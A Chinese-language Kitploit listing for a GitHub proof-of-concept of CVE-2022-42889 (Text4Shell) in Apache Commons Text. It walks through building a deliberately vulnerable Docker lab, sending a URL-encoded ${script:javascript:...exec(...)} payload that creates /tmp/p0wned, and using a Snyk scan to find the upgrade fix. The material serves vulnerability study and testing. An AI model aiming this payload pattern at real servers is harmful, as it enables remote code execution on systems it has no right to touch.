Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-42889-PoC — CVE-2022-42889(又名 Text4Shell)RCE 概念验证 | Kitploit
工具/GitHubGitHub/sunnyvale-it/cve-2022-42889-poc
容器安全Payload生成漏洞分析漏洞利用Web应用程序漏洞利用学习与教育
GitHubsunnyvale-it/cve-2022-42889-poc

CVE-2022-42889-PoC

CVE-2022-42889(又名 Text4Shell)RCE 概念验证

查看仓库
2133年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-42889 (又名 Text4Shell) RCE 概念验证

image

Text4Shell 是 Apache Commons Text 库中发现的一个严重软件漏洞的俗称(参见 CVE-2022-42889)。

本仓库旨在演示利用此 CVE 的远程代码执行(RCE)。

该易受攻击的代码 用于 SpringBoot 控制器中,但请不要混淆,这__不是__ SpringBoot/Spring 安全问题。

在测试 RCE 之前,请构建 Docker 镜像:

root@kitploit:~
$ docker build -t text4shell .
...
 => exporting to image                                                                                                                                                                                     0.0s
 => => exporting layers                                                                                                                                                                                    0.0s
 => => writing image sha256:5d82feaa030f5e7b35c1c6deaa12b40ef713c05001a41f5f71fff6174513507f                                                                                                               0.0s
 => => naming to docker.io/library/text4shell

然后运行容器:

root@kitploit:~
$ docker run --name text4shell --rm -ti  -p:8080:8080 text4shell
...
2022-11-05 09:11:03.798  INFO 1 --- [           main] it.sunnyvale.text4shell.Main             : Started Main in 1.376 seconds (JVM running for 1.713)

最后,你可以尝试使用特制的 URL 来利用该易受攻击的应用程序:

root@kitploit:~
$ curl http://localhost:8080/text4shell/attack\?search\=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Fp0wned%27%29%7D
Search results for: ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/p0wned')}%

如果你在容器的 /tmp 目录下找到一个名为 p0wned 的文件,则说明 RCE 已成功执行。

root@kitploit:~
$ docker exec text4shell ls -l /tmp/p0wned
-rw-r--r--    1 root     root             0 Nov  5 09:17 /tmp/p0wned

使用 Snyk 扫描镜像,可以检测到易受攻击的库:

root@kitploit:~
$ docker scan text4shell | grep text
Testing text4shell...
Project name:      docker-image|text4shell
Docker image:      text4shell
Testing text4shell...
Upgrade org.apache.commons:[email protected] to org.apache.commons:[email protected] to fix
✗ Arbitrary Code Execution (new) [High Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138] in org.apache.commons:[email protected]
introduced by org.apache.commons:[email protected]
Upgrade org.springframework:[email protected] to org.springframework:[email protected] to fix
✗ Improper Handling of Case Sensitivity [Low Severity][https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2689634] in org.springframework:[email protected]
introduced by org.springframework:[email protected]
Project name:      text4shell:latest:/app
Docker image:      text4shell
下载工具